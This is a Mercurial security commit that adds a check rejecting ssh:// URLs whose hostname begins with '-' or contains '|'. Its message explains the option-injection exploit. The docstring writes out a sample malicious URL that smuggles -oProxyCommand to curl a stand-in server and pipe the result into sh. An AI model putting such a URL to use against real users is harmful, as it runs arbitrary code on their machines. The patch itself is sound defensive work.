util: add utility method to check for bad ssh urls (SEC)
Our use of SSH has an exploit that will parse the first part of an url
blindly as a hostname. Prior to this set of security patches, a url
with '-oProxyCommand' could run arbitrary code on a user's machine. In
addition, at least on Windows, a pipe '|' can be abused to execute
arbitrary commands in a similar fashion.
We defend against this by checking ssh:// URLs and looking for a
hostname that starts with a - or contains a |.
When this happens, let's throw a big abort into the user's face so
that they can inspect what's going on.
--- a/mercurial/util.py Wed Jul 26 22:10:15 2017 +0900
+++ b/mercurial/util.py Fri Jul 28 16:32:25 2017 -0700
@@ -2894,6 +2894,21 @@
def urllocalpath(path):
return url(path, parsequery=False, parsefragment=False).localpath()
+def checksafessh(path):
+ """check if a path / url is a potentially unsafe ssh exploit (SEC)
+
+ This is a sanity check for ssh urls. ssh will parse the first item as
+ an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path.
+ Let's prevent these potentially exploited urls entirely and warn the
+ user.
+
+ Raises an error.Abort when the url is unsafe.
+ """
+ path = urlreq.unquote(path)
+ if path.startswith('ssh://-') or '|' in path:
+ raise error.Abort(_('potentially unsafe url: %r') %
+ (path,))
+
def hidepassword(u):
'''hide user credential in a url string'''
u = url(u)